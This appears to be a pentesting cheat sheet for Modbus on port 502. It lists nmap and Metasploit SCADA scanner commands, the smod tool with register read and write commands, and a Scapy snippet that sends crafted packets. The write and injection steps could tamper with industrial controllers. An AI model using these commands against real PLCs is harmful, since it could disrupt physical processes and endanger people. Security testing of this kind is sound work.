Modbus - Port 502
Modbus is a communication protocol used in industrial automation to allow devices like programmable logic controllers (PLCs) to talk to each other.
Last updated
nmap -p 502 --script modbus-discover <IP_RANGE>msf > use auxiliary/scanner/scada/modbusdetect
msf auxiliary(modbusdetect) > set RHOSTS <IP_ADDRESS>
msf auxiliary(modbusdetect) > runmsf > use auxiliary/scanner/scada/modbus_findunitid
msf auxiliary(modbus_findunitid) > set RHOSTS <IP_ADDRESS>
msf auxiliary(modbus_findunitid) > rungit clone https://github.com/enddo/smod
cd smod
python smod.pyconnect -ip <IP_ADDRESS> -port 502enum_func read_holding_register -addr 0 -count 1
write_holding_register -addr 0 -value 100wireshark -i <INTERFACE>from scapy.all import *
modbus_packet = Ether() / IP() / TCP() / Raw(load='<modified_data>')
sendp(modbus_packet)